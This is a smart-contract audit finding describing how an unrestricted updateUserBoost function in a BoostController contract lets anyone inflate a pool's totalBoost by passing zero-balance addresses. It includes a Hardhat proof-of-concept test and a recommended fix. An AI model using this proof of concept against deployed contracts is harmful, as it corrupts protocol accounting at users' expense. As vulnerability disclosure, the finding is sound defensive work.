Summary
Anyone can call the updateUserBoost function to update a user's boost in the pool. However, this function does not validate the user's veRaacToken balance, allowing an attacker to manipulate the totalBoost of the pool and incorrectly increase its value.
Vulnerability Details
The userBoost in pool can be update via updateUserBoost.
/contracts/core/governance/boost/BoostController.sol:178
178: function updateUserBoost(address user, address pool) external override nonReentrant whenNotPaused {
179: if (paused()) revert EmergencyPaused();
180: if (user == address(0)) revert InvalidPool();
181: if (!supportedPools[pool]) revert PoolNotSupported();
182:
183: UserBoost storage userBoost = userBoosts[user][pool];
184: PoolBoost storage poolBoost = poolBoosts[pool];
185:
186: uint256 oldBoost = userBoost.amount;
187:
188: uint256 newBoost = _calculateBoost(user, pool, 10000);
191: userBoost.amount = newBoost;
192: userBoost.lastUpdateTime = block.timestamp;
193: if (newBoost >= oldBoost) {
194: poolBoost.totalBoost = poolBoost.totalBoost + (newBoost - oldBoost);
195: } else {
196: poolBoost.totalBoost = poolBoost.totalBoost - (oldBoost - newBoost);
197: }
198: poolBoost.workingSupply = newBoost;
199: poolBoost.lastUpdateTime = block.timestamp;
..
202: emit PoolBoostUpdated(pool, poolBoost.totalBoost, poolBoost.workingSupply);
203: }
From the above code it can be seen that we pass the user address, pool address and bps 10000 to _calculateBoost find the new Boost for a user in a pool.
/contracts/core/governance/boost/BoostController.sol:89
89: function _calculateBoost(
90: address user,
91: address pool,
92: uint256 amount
93: ) internal view returns (uint256) {
94: if (amount == 0) revert InvalidBoostAmount();
95: if (!supportedPools[pool]) revert PoolNotSupported();
96:
97:
98: (uint256 totalWeight, uint256 totalVotingPower, uint256 votingPower) = updateTotalWeight();
99:
100: uint256 userBalance = IERC20(address(veToken)).balanceOf(user);
101: uint256 totalSupply = IERC20(address(veToken)).totalSupply();
102:
103: if (userBalance == 0 || totalSupply == 0) {
104: return amount;
105: }
106:
Inside the _calculateBoost function, we return 10000 when the user's veToken balance is 0 or when totalSupply is 0. This can be problematic, as an attacker could call this function with an arbitrary user address, artificially increasing the totalBoost of the pool by 10000.
POC
Add the following test case to BoostController.test.js and run with command with npx hardhat test
it.only("totalBoost will be manipulated by any attacker", async () => {
const amount = ethers.parseEther("100");
let poolAddress = await mockPool.getAddress();
let [beforeHackBoost ,,,] = await boostController.getPoolBoost(poolAddress)
for(let i=0 ; i <10 ; i++){
const userWallet = ethers.Wallet.createRandom();
await boostController.connect(user1).updateUserBoost(userWallet.address,poolAddress);
beforeHackBoost +=10000n;
}
let [afterHackBoost,,,] = await boostController.getPoolBoost(poolAddress)
expect(beforeHackBoost).to.eq(afterHackBoost);
});
Impact
The totalBoost value can be manipulated by an attacker, leading to incorrect value reporting. Additionally, in cases where the totalBoost is decreased—such as during delegate removal calls the totalBoost of the pool will not be updated correctly.
Tools Used
Manual Review
Recommendations
return 0 in case when user balance is 0.